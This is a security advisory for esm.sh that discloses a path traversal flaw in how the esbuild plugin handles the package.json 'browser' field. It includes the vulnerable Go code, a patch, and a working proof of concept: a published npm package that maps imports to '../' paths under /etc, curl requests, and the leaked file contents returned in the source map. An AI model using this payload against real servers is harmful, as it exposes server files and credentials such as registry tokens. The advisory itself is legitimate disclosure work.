GHSA-rg65-45m7-hq57 esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

• Go github.com/esm-dev/esm.sh: < 0.0.0-20250616164159-0593516c4cfa → fixed in 0.0.0-20250616164159-0593516c4cfa

Summary A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process. Details The vulnerable code is in the `OnResolve` callback of the esbuild plugin: https://github.com/esm-dev/esm.sh/blob/main/server/build.go The plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping. ```go // Sandbox check passes for the original "./d1.txt" path if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier) } // ... later, browser field remaps to attacker-controlled path: if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() { if path, ok := pkgJson.Browser[modulePath]; ok { if path == "" { return esbuild.OnResolveResult{ Path: args.Path, Namespace: "browser-exclude", }, nil } if !isRelPathSpecifier(path) { externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode) if err != nil { return esbuild.OnResolveResult{}, err } return esbuild.OnResolveResult{ Path: externalPath, SideEffects: sideEffects, External: true, }, nil } modulePath = path } } // path.Join collapses "../" sequences - escapes the package directory filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) // No second sandbox check ``` File contents appear in both the bundled JS output and the source map `sourcesContent` array. Readable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension). Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle. PoC The test package is published at https://www.npmjs.com/package/chess-sec-utils1 package.json: ```json { "name": "chess-sec-utils1", "version": "1.0.6", "main": "index.js", "type": "module", "browser": { "./d1.txt": "../../../../../../../../etc/hostname", "./d2.json": "../../../../../../../../etc/os-release", "./d3.json": "../../../../../../../../etc/environment" } } ``` index.js: ```js import d1 from "./d1.txt" import d2 from "./d2.json" import d3 from "./d3.json" export default { d1, d2, d3 } ``` ```bash npm publish curl "https:///[email protected]" curl "https:///[email protected]/es2022/chess-sec-utils1.mjs.map" ``` Server file contents in source map response: ```json { "sourcesContent": [ "ideapad\n", "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n", "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n", "import d1 from \"./d1.txt\"..." ] } ``` Impact An attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials. Fix Add a path validation check after the `browser` field remapping: ```go filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath) if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) { return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked") } ``` Credit Svyatoslav Berestovsky of Metascan